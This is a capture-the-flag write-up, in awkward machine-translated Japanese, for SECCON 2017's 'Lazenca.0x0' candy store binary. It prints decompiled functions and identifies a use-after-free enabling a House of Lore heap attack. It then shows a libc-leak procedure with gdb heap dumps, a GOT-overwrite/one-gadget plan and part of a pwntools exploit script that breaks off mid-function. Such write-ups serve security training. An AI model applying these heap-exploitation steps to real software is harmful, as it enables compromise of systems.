Excuse the ads! We need some help to keep our site up.
List
Infomation
Description
I have opened an online candy store.
Host : lazenca0x0.pwn.seccon.jp
Port : 9999
Lazenca.0x0-9374845c01384f5fc9efdce81437697499640db78523509906f315a1bed5cb3d.zip (pass:seccon2017)
File
Source Code
Writeup
File information
lazenca0x0@ubuntu:~/Documents/CTF/SECCON2017$ file ./Lazenca.0x0 ./Lazenca.0x0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1bfd795acede916210985e5865d2de9697e7505a, stripped lazenca0x0@ubuntu:~/Documents/CTF/SECCON2017$ checksec.sh --file ./Lazenca.0x0 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ./Lazenca.0x0 lazenca0x0@ubuntu:~/Documents/CTF/SECCON2017$
Binary analysis (Finding vulnerabilities)
Main
- 当該関数は次のような機能をします。
- 当該関数はsetCandy()関数を呼び出してCandy情報を設定します。
- 当該関数はlogin()関数を呼び出しして使用してアカウント情報を確認します。
- 当該関数は使用者がloginに失敗する場合、次のように動作します。
- 当該関数はloginが失敗の際の使用者にアカウントを生成することか問いかけます。
- 当該関数はaddAccount()関数を利用して新しいアカウントを生成します。
- また、当該関数はloginを3度失敗するとプログラムは終了されます。
- 当該関数はloginが失敗の際の使用者にアカウントを生成することか問いかけます。
- 当該関数は使用者がloginに成功すると、下の機能を利用することができます。
- 向上出力、注文、充電、ログアウト
- gLoginAccount→stateの値が1の場合"orderMenu"、"Account"機能を利用することができます
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { signed int state; // [rsp+4h] [rbp-Ch] state = 1; signal(14, handler); alarm(0x1Eu); title(); setCandy(); gOrderCnt = 0; gLoginFailCnt = 0; while ( !gLoginAccount ) { if ( (unsigned int)login() ) { gLoginFailCnt = 0; LABEL_14: while ( state && gLoginAccount ) { Menu(); printf("Command : "); switch ( (unsigned int)retNumber(2LL) ) { case 0u: state = 0; break; case 1u: printStock(); break; case 2u: purchase(); break; case 3u: charge(); break; case 4u: if ( gLoginAccount->state == 1 ) orderMenu(); break; case 5u: if ( gLoginAccount->state == 1 ) Account(); break; case 9u: logout(2LL); break; default: goto LABEL_14; } } } else { if ( gLoginFailCnt == 2 ) exit(1); ++gLoginFailCnt; puts("\nCreate an account?"); puts("0) Yes\n1) No"); if ( !(unsigned int)retNumber(2LL) ) addAccount(3LL); } } return 0LL; }
login()
- 当該関数は次のような機能をします。
- 当該関数は使用者からID、Passwordの入力を受けます。
- 当該関数は入力を受けた値を全域変数gAccount[]に存在するかどうか確認します。
- 当該関数は認証に成功すると、該当アカウント情報が保存されたgAccount[]の住所を全域の変数"gLoginAccount"に保存します。
signed __int64 login() { size_t lenUserInputID; // rbx size_t lenID; // rax size_t lenUserInputPW; // rbx size_t lenPW; // rax signed int i; // [rsp+Ch] [rbp-34h] char id[8]; // [rsp+10h] [rbp-30h] char pw[8]; // [rsp+20h] [rbp-20h] unsigned __int64 v8; // [rsp+28h] [rbp-18h] v8 = __readfsqword(0x28u); memset(id, 0, 8uLL); memset(pw, 0, 8uLL); printf("\nEnter your ID.\n> ", 0LL); UserInput(id, 8LL); printf("Enter your Password.\n> ", 8LL); UserInput(pw, 8LL); for ( i = 0; i <= 2; ++i ) { if ( gAccount[i].state ) { lenUserInputID = strlen(id); if ( lenUserInputID == strlen(gAccount[i].fd->id) ) { lenID = strlen(gAccount[i].fd->id); if ( !strncmp(gAccount[i].fd->id, id, lenID) ) { lenUserInputPW = strlen(pw); if ( lenUserInputPW == strlen(gAccount[i].fd->pw) ) { lenPW = strlen(gAccount[i].fd->pw); if ( !strncmp(gAccount[i].fd->pw, pw, lenPW) ) { gLoginAccount = (struct ACCOUNT *)(32LL * i + 0x604220); printf("\nHi, %s", gAccount[i].fd->id); return 1LL; } } } } } } return 0LL; }
- 当該関数は次のような構造体を使用します。
struct IDPW{ long empty[2]; char id[8]; char pw[8]; long state; char description[88]; }; struct ACCOUNT{ long state; long number; struct IDPW *fd; long bk; };
addAccount()
- 当該関数は次のような機能をします。
- 当該関数は、除隊変数gAccount[]。stateの値が'0'だった場合、次のように動作します。
- 当該関数はmalloc()を使用して128 byteのheap領域を割り当てられます。
- 当該関数は、当該領域の住所をgAccount[i]。fdに保存します。
- 当該関数は、該当領域にID、Password、profile情報を保存します。
- 当該関数はmalloc()を使用して128 byteのheap領域を割り当てられます。
- 当該関数は、除隊変数gAccount[]。stateの値が'0'だった場合、次のように動作します。
unsigned __int64 __fastcall addAccount(unsigned int a1) { unsigned int i; // [rsp+10h] [rbp-10h] signed int empty; // [rsp+14h] [rbp-Ch] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); empty = 1; for ( i = 0; i <= 2 && empty; ++i ) { if ( !gAccount[i].state ) { empty = 0; gAccount[i].state = a1; gAccount[i].number = i + 1; gAccount[i].fd = (struct IDPW *)malloc(128uLL); gAccount[i].fd->state = 1LL; puts("\nEnter your New ID."); UserInput(gAccount[i].fd->id, 8LL); puts("Enter your New Password."); UserInput(gAccount[i].fd->pw, 8LL); puts("Enter your profile."); UserInput(gAccount[i].fd->description, 88LL); gAccount[i].bk = 10000LL; } } if ( empty ) puts("Could not add user."); return __readfsqword(0x28u) ^ v4; }
purchase
- 当該関数は次のような機能をします。
- 当該関数は、除隊変数gStockCntの値が0の場合、メッセージを出力、当該機能を終了します。
- 当該関数は、除隊変数gStockCntの値が0がない場合、次のような機能をします。
- 当該関数は使用者から購買するキャンディーのコード番号(candyInfo[0])、キャンディーの数(candyInfo[1])を入力されます。
- 当該関数は購入できたキャンディー・コード番号、キャンディーの個数であるかを確認します。
- 当該関数は正常な購買が進行され、キャンディーの在庫がない場合は、下記の関数が呼び出されます。
- reSortStock()
- setBoard()
- 当該関数は使用者から購買するキャンディーのコード番号(candyInfo[0])、キャンディーの数(candyInfo[1])を入力されます。
unsigned __int64 purchase() { unsigned int v0; // ST00_4 unsigned int candyInfo[2]; // [rsp+0h] [rbp-10h] unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); if ( gStockCnt ) { puts("Please enter the code number of the candy to be purchased."); candyInfo[0] = retNumber(3LL); if ( candyInfo[0] < gStockCnt ) { puts("Please enter the number of the candy to purchase."); candyInfo[1] = retNumber(3LL); if ( gStock[candyInfo[0]]->candyNumber < candyInfo[1] ) { if ( gStock[candyInfo[0]]->candyNumber < candyInfo[1] ) puts("There is not enough stock."); } else if ( candyInfo[1] * gStock[candyInfo[0]]->candyPrice > gLoginAccount->bk ) { printf( "You do not have enough money.(%ld)\n", candyInfo[1] * gStock[candyInfo[0]]->candyPrice, *(_QWORD *)candyInfo); } else { gStock[candyInfo[0]]->candyNumber -= candyInfo[1]; if ( !gStock[candyInfo[0]]->candyNumber ) { printf( "Thank you for your purchase.(%ld)\n", candyInfo[1] * gStock[candyInfo[0]]->candyPrice, *(_QWORD *)candyInfo); reSortStock(v0); setBoard(); } } } } else { puts("We have not any candy."); } return __readfsqword(0x28u) ^ v3; }
- 次のような構造体を使用します。
struct STOCK{ char candyName[8]; unsigned int candyNumber; unsigned int candyPrice; char *candyDescription; };
setBoard()
- 当該関数は次のような機能をします。
- 当該関数はmalloc()関数を利用して1200 byteのHeap領域を割り当てられます。
- 当該関数は、該当領域に使用者から値を入力を受けて保存します。
unsigned __int64 setBoard() { unsigned __int64 v0; // ST08_8 v0 = __readfsqword(0x28u); puts("Please enter a comment for candy."); board = (__int64)malloc(1200uLL); UserInput(board, 1200LL); return __readfsqword(0x28u) ^ v0; }
charge
- 当該関数は次のような機能をします。
- 当該関数は使用者から充電する金額の番号は、入力されます。
- 当該関数は、当該金額を"gLoginAccount→bk"領域に加えます。
unsigned __int64 charge() { unsigned int chargeInfo[2]; // [rsp+0h] [rbp-10h] unsigned __int64 v2; // [rsp+8h] [rbp-8h] v2 = __readfsqword(0x28u); chargeInfo[0] = 0; puts("Please select the amount to charge."); puts("0) 1"); puts("1) 10"); puts("2) 100"); puts("3) 1000"); puts("4) 10000"); puts("5) 100000"); chargeInfo[1] = retNumber(2LL); switch ( chargeInfo[1] ) { case 0u: chargeInfo[0] = 1; break; case 1u: chargeInfo[0] = 10; break; case 2u: chargeInfo[0] = 100; break; case 3u: chargeInfo[0] = 1000; break; case 4u: chargeInfo[0] = 10000; break; case 5u: chargeInfo[0] = 100000; break; default: break; } gLoginAccount->bk += chargeInfo[0]; printf("%ld yen charged.\n", chargeInfo[0], *(_QWORD *)chargeInfo); return __readfsqword(0x28u) ^ v2; }
Account()
- 当該関数はgLoginAccount->stateの値が1の場合、使用可能です。
- 当該関数は次のような機能をします。
- 当該関数は使用可能な機能のリストを出力します。
- アカウントを削除、暗証番号変更
- 当該関数は使用者としてから使用する機能の番号を入力を受けて、当該機能を呼び出しています。
- 当該関数は使用可能な機能のリストを出力します。
unsigned __int64 Account() { int tmp; // eax signed int i; // [rsp+8h] [rbp-58h] signed int control; // [rsp+Ch] [rbp-54h] char funcList[3][22]; // [rsp+10h] [rbp-50h] unsigned __int64 v5; // [rsp+58h] [rbp-8h] v5 = __readfsqword(0x28u); control = 1; strcpy((char *)funcList, "Delete account"); *(_DWORD *)&funcList[0][16] = 0; *(_WORD *)&funcList[0][20] = 0; strcpy(funcList[1], "Change password"); *(_DWORD *)&funcList[1][16] = 0; *(_WORD *)&funcList[1][20] = 0; *(_OWORD *)&funcList[2][0] = (unsigned __int64)'tixE'; *(_DWORD *)&funcList[2][16] = 0; *(_WORD *)&funcList[2][20] = 0; while ( control ) { puts("\nAccount."); for ( i = 0; i <= 2; ++i ) printf("%d) %s\n", (unsigned int)(i + 1), funcList[i]); printf("Command : "); tmp = retNumber(2LL); switch ( tmp ) { case 2: changePW(); break; case 3: control = 0; break; case 1: delAccount(); break; } } return __readfsqword(0x28u) ^ v5; }
delAccount()
- 当該関数は次のような機能をします。
- 当該関数は、除隊変数gAccount[]を利用して削除可能なアカウントを出力します。
- 当該関数は使用者から削除する勘定の番号を入力されます。
- 当該関数は使用者が選択したアカウントのstate情報が'3'ある場合、削除を進めます。
- 当該関数は、該当アカウント(gAccount[num])の情報を初期化します。
- state=0
- fd→state=0
- memset(gAccount[num]。fd、0、0x80uLL);
- 当該関数は、該当アカウント(gAccount[num])のfd領域(heap)を解除します。
- 当該関数は、該当アカウント(gAccount[num])の情報を初期化します。
- 当該関数はgAccount[num]。fd領域に"gAccount[num]。fd-16"演算した値を保存します。
- 保存される値はFree chunkのHeadアドレスです。
- これによってThe House of Lore、UAF脆弱性が発生することになります。
unsigned __int64 delAccount() { unsigned int i; // [rsp+8h] [rbp-18h] unsigned int num; // [rsp+Ch] [rbp-14h] MAPDST unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); puts("\nAccount list"); for ( i = 0; i <= 2; ++i ) { if ( gAccount[i].state ) printf("%d) %s\n", gAccount[i].number, gAccount[i].fd->id); } puts("\nPlease enter the number of the account you want to delete"); num = retNumber(2LL); if ( num && num <= 3 ) { if ( gAccount[--num].state == 3 ) { gAccount[num].state = 0LL; gAccount[num].fd->state = 0LL; printf("The account(%s) has been deleted.\n", gAccount[num].fd->id); memset(gAccount[num].fd, 0, 0x80uLL); free(gAccount[num].fd); gAccount[num].fd = (struct IDPW *)((char *)gAccount[num].fd - 16); } else { puts("You can not delete the account."); } } return __readfsqword(0x28u) ^ v4; }
changePW
- 当該関数は次のような機能をします。
- 当該関数は、除隊変数"gAccount[i]。state"を利用して秘密番号の変更が可能なアカウントを出力します。
- 当該関数は使用者から暗証番号を変更する勘定の番号を入力されます。
- 当該関数は、該当アカウントの'gAccount[]。fd.state'領域に保存された値が'0'がない場合、暗証番号を変更することができます。
unsigned __int64 changePW() { unsigned int i; // [rsp+8h] [rbp-18h] unsigned int num; // [rsp+Ch] [rbp-14h] MAPDST unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); puts("\nAccount list"); for ( i = 0; i <= 2; ++i ) { if ( gAccount[i].state ) printf("%ld) %s\n", gAccount[i].number, gAccount[i].fd->id); } puts("\nPlease enter the number of the account you want to change PW"); num = retNumber(2LL); if ( num ) { if ( num <= 3 ) { if ( gAccount[--num].fd ) { if ( gAccount[num].fd->state ) { puts("Enter your New Password."); UserInput(gAccount[num].fd->pw, 8LL); } } } } return __readfsqword(0x28u) ^ v4; }
orderMenu()
- 当該関数はgLoginAccount->stateの値が1の場合、使用可能です。
- 当該関数は次のような機能をします。
- 当該関数は使用可能な機能のリストを出力します。
- 注文リスト、注文リスト追加、注文リストの取り消し、キャンディ注文
- 当該関数は使用者としてから使用する機能の番号を入力を受けて、当該機能を呼び出しています。
- 当該関数は使用可能な機能のリストを出力します。
unsigned __int64 orderMenu() { signed int i; // [rsp+8h] [rbp-88h] unsigned int control; // [rsp+Ch] [rbp-84h] char funcList[5][22]; // [rsp+10h] [rbp-80h] unsigned __int64 v4; // [rsp+88h] [rbp-8h] v4 = __readfsqword(0x28u); control = 1; strcpy((char *)funcList, "Order List"); *(_DWORD *)&funcList[0][16] = 0; *(_WORD *)&funcList[0][20] = 0; strcpy(funcList[1], "Add to Order List"); *(_WORD *)&funcList[1][20] = 0; *(_QWORD *)&funcList[2][0] = 'o lecnaC'; *(_QWORD *)&funcList[2][8] = 'o s���en'; *(_DWORD *)&funcList[2][16] = 'redr'; *(_WORD *)&funcList[2][20] = '.'; strcpy(funcList[3], "Order candy"); *(_DWORD *)&funcList[3][16] = 0; *(_WORD *)&funcList[3][20] = 0; *(_OWORD *)&funcList[4][0] = (unsigned __int64)'tixE'; *(_DWORD *)&funcList[4][16] = 0; *(_WORD *)&funcList[4][20] = 0; LABEL_11: while ( control ) { puts("\nOrder candy."); for ( i = 0; i <= 4; ++i ) printf("%d) %s\n", (unsigned int)(i + 1), funcList[i]); printf("Command : "); switch ( (unsigned int)retNumber(2LL) ) { case 1u: orderList(); break; case 2u: addToOrderList(); break; case 3u: orderCancel(); break; case 4u: orderCandy(); break; case 5u: control = 0; break; default: goto LABEL_11; } } return __readfsqword(0x28u) ^ v4; }
addToOrderList
- 当該関数は次のような機能をします。
- 当該関数はchoiceCandy()関数を使用して注文するキャンディーの番号を入力されます。
- 当該関数はmalloc()関数を使用して24 byteのheap領域を割り当てられます。
- 当該関数は、該当領域に注文するキャンディーの情報を保存します。
unsigned __int64 addToOrderList() { struct ORDER *newOrder; // ST08_8 unsigned int tmp; // eax unsigned int candyNum; // [rsp+4h] [rbp-1Ch] char strOrdNum[8]; // [rsp+10h] [rbp-10h] unsigned __int64 v5; // [rsp+18h] [rbp-8h] v5 = __readfsqword(0x28u); if ( (unsigned int)gOrderCnt > 9 ) { puts("You can not order candy anymore."); } else { candyNum = choiceCandy(); if ( candyNum > 9 ) { puts("Please enter a number between 0 and 9"); } else { newOrder = (struct ORDER *)malloc(24uLL); tmp = getOrderNum(); sprintf(strOrdNum, "%d", tmp); strncpy(newOrder->orderCode, strOrdNum, 1uLL); newOrder->orderNumber = gCandies[candyNum]->orderNumber; strncpy(newOrder->orderCandyName, gCandies[candyNum]->candyName, 8uLL); newOrder->candyCode = gCandies[candyNum]->candyCode; gOrderList[gOrderCnt++] = newOrder; orderList(); } } return __readfsqword(0x28u) ^ v5; }
- 次のような構造体を使用します。
typedef struct ORDER{ char orderCode[8]; unsigned int orderNumber; char orderCandyName[8]; int candyCode; }; typedef struct CANDIES { char candyName[8]; unsigned int orderNumber; int candyCode; };
orderCancel
- 当該関数は次のような機能をします。
- 当該関数はcheckCancel(i)関数をキャンセル可能な注文を確認して、注文取り消しの可能なリストを出力します。
- 当該関数はキャンセル可能な注文があり、使用者から注文ボンホウル入力を受けます。
- 当該関数は入力値を検証した後reSort()関数を呼び出しして注文をキャンセルします。
unsigned __int64 orderCancel() { unsigned int i; // [rsp+Ch] [rbp-44h] int j; // [rsp+Ch] [rbp-44h] int orderCnt; // [rsp+10h] [rbp-40h] unsigned int canNum; // [rsp+1Ch] [rbp-34h] int cancelableList[10]; // [rsp+20h] [rbp-30h] unsigned __int64 v6; // [rsp+48h] [rbp-8h] v6 = __readfsqword(0x28u); orderCnt = 0; if ( gOrderCnt ) { for ( i = 0; i < gOrderCnt; ++i ) { if ( (unsigned int)checkCancel(i) ) { cancelableList[orderCnt++] = i; printf("\n=*= Cancelable order (Order number : %d) =*=\n", i); printf("Order code: %s\n", gOrderList[i]); printf("Order count : %d\n", gOrderList[i]->orderNumber); printf("Order candy : %s\n", gOrderList[i]->orderCandyName); printf("Candy code: %d\n", (unsigned int)gOrderList[i]->candyCode); } } if ( orderCnt ) { canNum = retNumber(2LL); for ( j = 0; j < orderCnt; ++j ) { if ( cancelableList[j] == canNum ) reSort(canNum); } } } else { puts("You have never ordered a product."); } return __readfsqword(0x28u) ^ v6; }
reSort
- 当該関数は次のような機能をします。
- 当該関数はfree()関数を利用してgOrderList[a1]領域を解除します。
unsigned __int64 __fastcall reSort(unsigned int a1) { int i; // [rsp+14h] [rbp-Ch] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); free(gOrderList[a1]); if ( a1 < gOrderCnt ) { for ( i = 0; a1 + i < gOrderCnt; ++i ) gOrderList[a1 + i] = gOrderList[a1 + i + 1]; } gOrderList[gOrderCnt--] = 0LL; return __readfsqword(0x28u) ^ v3; }
orderCandy()
- 当該関数は次のような機能をします。
- 当該関数は使用者からキャンディ注文の進めるかどうかを確認します。
- 当該関数はgetStockNum()関数を使用してgOrderList[]に保存された値がgStock[]に存在するかどうか確認します。
- 当該関数はgOrderList[]に保存された値gStock[]に存在する場合、次のように処理されます。
- "gStock[]->candyNumber"に"gOrderList[]→orderNumber"の値を加えることになります。
- 当該関数はgOrderList[]に保存された値gStock[]に存在しない場合、次のように処理されます。
- 当該関数はmalloc()関数を使用して24 byteのheap領域を割り当てます。
- 当該関数は、該当領域にキャンディに対する情報を保存します。
- キャンディの名前や価格、キャンディの情報が保存されているアドレス値
- また、当該関数は124 byteのheap領域を割り当てて、当該領域に使用者から入力を受けたキャンデー情報を保存します。
- 当該関数はgOrderList[]に保存された値gStock[]に存在する場合、次のように処理されます。
- 当該関数はgOrderList[]に保存された値gStock[]にすべて保存した後、gOrderList[]領域を全て解除します。
unsigned __int64 orderCandy() { struct STOCK *dest; // ST10_8 unsigned int i; // [rsp+4h] [rbp-1Ch] int num; // [rsp+Ch] [rbp-14h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); if ( gOrderCnt ) { orderList(); puts("\nWould you like to order these candies?"); puts("0) Yes, 1) No"); if ( !(unsigned int)retNumber(2LL) ) { for ( i = 0; i < gOrderCnt; ++i ) { num = getStockNum(i); if ( num ) { gStock[num - 1]->candyNumber += gOrderList[i]->orderNumber; } else if ( (unsigned int)gStockCnt > 4 ) { puts("The warehouse is full. Your new order can not be completed."); } else { puts("\nEnter information about newly added candy."); dest = (struct STOCK *)malloc(24uLL); strncpy(dest->candyName, gOrderList[i]->orderCandyName, 8uLL); dest->candyNumber = gOrderList[i]->orderNumber; printf("Enter the price of %s candy.\n", dest); dest->candyPrice = retNumber(5LL); printf("Enter a description of the %s candy.\n", dest); dest->candyDescription = (char *)malloc(124uLL); UserInput(dest->candyDescription, 124LL); gStock[gStockCnt++] = dest; } } while ( gOrderCnt ) { free(gOrderList[gOrderCnt - 1]); gOrderList[gOrderCnt-- - 1] = 0LL; } } } else { puts("You have never ordered a product."); } return __readfsqword(0x28u) ^ v4; }
Proof of concept
- 説明は進行する前に出題者はプレイヤーたちが"House of lore"脆弱性を利用して解決することを望んでいました。
- しかし、当該脆弱性のほかにもさまざまな形で攻撃が可能です。
Fake chunk
- 当該番組で脆弱性を理解するため、ACCOUNT構造体に対する理解が必要です。
- 該当構造体は、除隊変数で宣言されています。
- 当該番組は3つのACCOUNT構造体を使用します。
- 最初の構造体には'Admin'のアカウント情報が保存されています。
- 2、3番目の構造体は使用者が生成したアカウントの情報が保存されます。
0x604220 | Admin.state | Admin.number |
---|---|---|
0x604230 | Admin.fd | Admin.bk |
0x604240 | gAccount[1].state | gAccount[1].number |
0x604250 | gAccount[1].fd | gAccount[1].bk |
0x604260 | gAccount[2].state | gAccount[2].number |
0x604270 | gAccount[2].fd | gAccount[2].bk |
- House of loreの脆弱性は、次のようなFake chunkが必要です。
- delAccount()関数を利用してgAccount[1]。fd領域にFree chunkのHeadアドレスを保存することができます。
- charge()関数を利用してgAccount[1]。bk、gAccount[2]。bk領域の値を変更できます。
0x604220 | Admin.state | Admin.number |
---|---|---|
0x604230 | Admin.fd | Admin.bk |
0x604240 | gAccount[1].state | gAccount[1].number |
0x604250 | gAccount[1].fd = Free chunk head | gAccount[1].bk = 0x604268 |
0x604260 | gAccount[2].state | gAccount[2].number |
0x604270 | gAccount[2].fd | gAccount[2].bk = 0x604240 |
Overwrite Fd of Fack chunk
- House of loreの脆弱性は、次のようなFree chunkのfd領域を変更することができなければなりません。
- delAccount()関数によってgAccount[1]。fd領域の値が変更されます。
- gAccount[1]。fd→id:fd領域
- gAccount[1]。fd→pw:bkの領域
- 該当アカウントのパスワードを変更することができればFree chunkのbkの領域に値を上書きすることができます。
- delAccount()関数によってgAccount[1]。fd領域の値が変更されます。
- しかし、パスワードを変更するためには"gAccount[1]。fd→state"の値が'0'でなければならないです。
Create an account | Delete account | |||
---|---|---|---|---|
gAccount[1].fd | 0x8 | 0x0 | ||
0x0 | prev_size | Size of chunk | Chunk (long empty[0]) | Chunk size (long empty[0]) |
0x10 | long empty[0] | long empty[1] | fd (char id[8]) | bk (char pw[8]) |
0x20 | char id[8] | char pw[8] | long state | char description[88] |
0x30 | long state | char description[88] |
UAF
- 次のようにUAF脆弱性を使用して"gAccount[1]。fd→state"値を変更することができます。
- ACCOUNT構造体の大きさは128 byteです。
- orderCandy()関数にdest->candyDescription(飴の情報を入力する領域)に割り当てられる大きさは124 byteです。
- 解除された"gAccount[1]。fd"領域を"dest→candyDescription"に割り当てられなければなりません。
- 該当領域("dest→candyDescription")に文字16個以上を保存すると、"gAccount[1]。fd→state"領域を覆って使うことができます。
- 注意する内容は次のようです。
- UAFの攻撃を行う際、一番重要な部分はHouse of lore攻撃に向けてACCOUNT構造体と同じ大きさの空間を割り当てられて解除することができなければなりません。
- つまり、解除された"gAccount[1]。fd"領域に必ず"dest->candyDescription"に割り当てられる領域が割り当てられなければなりません。
- そして下のような領域が"gAccount[1]。fd"領域に割り当てられていないように注意しなければなりません。
- 当該番組は飴玉を注文するためにはOrder listで購入する飴を追加しなければなりません。
- Order listで購入する飴を追加たびにHeap領域(24 byte)を割り当てられます。
- 当該番組は注文したあめが店にない製品ならHeap領域(24 byte)を割り当てられます。
- 当該番組は飴玉を注文するためにはOrder listで購入する飴を追加しなければなりません。
- UAFの攻撃を行う際、一番重要な部分はHouse of lore攻撃に向けてACCOUNT構造体と同じ大きさの空間を割り当てられて解除することができなければなりません。
Structure of Exploit code
- Leak Libc Address
- Design the heap.
- Create account 1
- Create account 2
- Create account 1
- UAF
- Set gAccount[1].fd→state
- House of lore
- register bins[16,17]
- Overwrite Smallbin bk
- Overwrite gAccount[1].fd
- signal GOT
- Overwrite fflush.got
- One Gadget
- The following information is required for an attack:
- Leak Libc Address
- House of lore
- One Gadget
Information for attack
Leak Libc Address
- 次のようなHeap構造設計が必要です。
- 攻撃者は1つの飴をOrder listに追加して、注文を完了します。
- 攻撃者は2つの飴をOrder listに追加します。
gdb-peda$ parseheap addr prev size status fd bk 0xa17000 0x0 0x90 Used None None 0xa17090 0x0 0x410 Used None None 0xa174a0 0x0 0x20 Used None None 0xa174c0 0x0 0x20 Used None None 0xa174e0 0x0 0x20 Used None None 0xa17500 0x0 0x20 Used None None 0xa17520 0x0 0x20 Used None None 0xa17540 0x0 0x20 Used None None 0xa17560 0x0 0x20 Used None None 0xa17580 0x0 0x20 Used None None 0xa175a0 0x0 0x20 Used None None 0xa175c0 0x0 0x20 Used None None 0xa175e0 0x0 0x20 Used None None 0xa17600 0x100006567 0x20 Used None None 0xa17620 0xa17630 0x90 Used None None 0xa176b0 0x0 0x20 Used None None gdb-peda$
- 次のようなHeap構造です。
Address | State | Heap size | fd | bk | |
---|---|---|---|---|---|
Order list[0] | 0xa175e0 | A | 0x20 | None | None |
창고에 저장된 캔디 정보 | 0xa17600 | A | 0x20 | None | None |
창고에 저장된 캔디 설명 | 0xa17620 | A | 0x90 | None | None |
Order list[1] | 0xa176b0 | A | 0x20 | None | None |
- 次のような方法で解除されたHeap領域をSmall binに登録します。
- 攻撃者は最初に登録したキャンディを全て購入します。
- 当該番組は飴玉を全部消尽をすれば使用していたHeap領域を全て解除します。
- 飴説明(0x90)領域はUnsortedbinに登録されます。
- この時fd、bkにmain arenaのアドレスの値が保存されます。
- 飴説明(0x90)領域はUnsortedbinに登録されます。
- 当該番組は飴玉を全部消尽をすれば使用していたHeap領域を全て解除します。
- また、当該プログラムは全部消尽されたキャンディーに対する評価内容を保存するために、Heap領域を割り当てます。
- malloc()はこの際、解除されたキャンディ情報(0x20)領域、飴説明(0x90)領域を一つの領域(0xb0)に変更します。
- malloc()はHeap領域(1200 byte)を割り当てにより、当該領域をSmall binに保存します。
- 当該Free chunkのfd、bkの領域にSmall binの住所が保存されます。
- 攻撃者は最初に登録したキャンディを全て購入します。
gdb-peda$ parseheap addr prev size status fd bk 0xa17000 0x0 0x90 Used None None 0xa17090 0x0 0x410 Used None None 0xa174a0 0x0 0x20 Used None None 0xa174c0 0x0 0x20 Used None None 0xa174e0 0x0 0x20 Used None None 0xa17500 0x0 0x20 Used None None 0xa17520 0x0 0x20 Used None None 0xa17540 0x0 0x20 Used None None 0xa17560 0x0 0x20 Used None None 0xa17580 0x0 0x20 Used None None 0xa175a0 0x0 0x20 Used None None 0xa175c0 0x0 0x20 Used None None 0xa175e0 0x0 0x20 Used None None 0xa17600 0x100006567 0xb0 Freed 0x7ff5052a2c18 0x7ff5052a2c18 0xa176b0 0xb0 0x20 Used None None 0xa176d0 0x100006567 0x4c0 Used None None gdb-peda$ p main_arena.bins[20] $6 = (mchunkptr) 0xa17600 gdb-peda$ p main_arena.bins[21] $7 = (mchunkptr) 0xa17600 gdb-peda$
- 次のようなHeap構造です。
Address | State | Heap size | fd | bk | |
---|---|---|---|---|---|
Order list[0] | 0xa175e0 | A | 0x20 | None | None |
창고에 저장된 캔디 & 캔디 설명 | 0xa17600 | F | 0xb0 | 0x7ff5052a2c18 | 0x7ff5052a2c18 |
Order list[1] | 0xa176b0 | A | 0x20 | None | None |
구매한 캔디 평가 | 0xa176d0 | A | 0x4c0 | None | None |
- 次のような方法でLibc addressを抽出することができます。
- 攻撃者は1つの飴をOrder listに追加します。
- Order listに追加されたキャンディの情報は一つの領域(0xb0)に変更領域に割り当てられます。
- 攻撃者はOrder listの内容を出力してLibc addressを抽出することができます。
- 攻撃者は1つの飴をOrder listに追加します。
Please pick up the candies to order. >$ 1 =*= Order list =*= Order code : 4 Order count : 10 Order candy : Orange Candy code : 1 Order code : 5 Order count : 10 Order candy : Orange Candy code : 1 Order code : 6L\xb0\x0c\x85\x7f Order count : 10 Order candy : Orange Candy code : 1 Order candy. 1) Order List 2) Add to Order List 3) Cancel one's order. 4) Order candy 5) Exit Command : $
gdb-peda$ parseheap addr prev size status fd bk 0xa17000 0x0 0x90 Used None None 0xa17090 0x0 0x410 Used None None 0xa174a0 0x0 0x20 Used None None 0xa174c0 0x0 0x20 Used None None 0xa174e0 0x0 0x20 Used None None 0xa17500 0x0 0x20 Used None None 0xa17520 0x0 0x20 Used None None 0xa17540 0x0 0x20 Used None None 0xa17560 0x0 0x20 Used None None 0xa17580 0x0 0x20 Used None None 0xa175a0 0x0 0x20 Used None None 0xa175c0 0x0 0x20 Used None None 0xa175e0 0x0 0x20 Used None None 0xa17600 0x100006567 0x20 Used None None 0xa17620 0x100006567 0x90 Freed 0x7ff5052a2c18 0x7ff5052a2c18 0xa176b0 0x90 0x20 Used None None 0xa176d0 0x100006567 0x4c0 Used None None gdb-peda$ x/4gx 0xa17600 0xa17600: 0x0000000100006567 0x0000000000000021 0xa17610: 0x00007ff5052a2c36 0x6e61724f0000000a gdb-peda$
- 次のようなHeap構造です。
Address | State | Heap size | fd | bk | |
---|---|---|---|---|---|
Order list[0] | 0xa175e0 | A | 0x20 | None | None |
Order list[2] | 0xa17600 | A | 0x20 | None | None |
창고에 저장된 캔디 & 캔디 설명(Unsorted bin) | 0xa17620 | F | 0x90 | 0x7ff5052a2c18 | 0x7ff5052a2c18 |
Order list[1] | 0xa176b0 | A | 0x20 | None | None |
구매한 캔디 평가 | 0xa176d0 | A | 0x4c0 | None | None |
- 次のようなスクリプトを利用してLibc addressを抽出することができます。
from pwn import * #context.log_level = 'debug' def login(id,pw): p.recvuntil('Enter your ID.') p.send(id) p.recvuntil('Enter your Password.') p.send(pw) def setOrderlist(num): p.recvuntil('Command : ') p.send('4') p.recvuntil('Command : ') p.send('2') p.recvuntil('Please pick up the candies to order.') p.send(num) p.recvuntil('Command : ') p.send('5') def getOrderlist(): p.recvuntil('Command : ') p.send('4') p.recvuntil('Command : ') p.send('1') def setOrder(price,desc): p.recvuntil('Command : ') p.send('4') p.recvuntil('Command : ') p.send('4') p.recvuntil('0) Yes, 1) No') p.send('0') p.recvuntil('Enter the price of ') p.sendline(price) p.recvuntil('Enter a description of the') p.send(desc) p.recvuntil('Command : ') p.send('5') def purchase(code,num,comment): p.recvuntil('Command : ') p.send('2') p.recvuntil('Please enter the code number of the candy to be purchased.') p.send(code) p.recvuntil('Please enter the number of the candy to 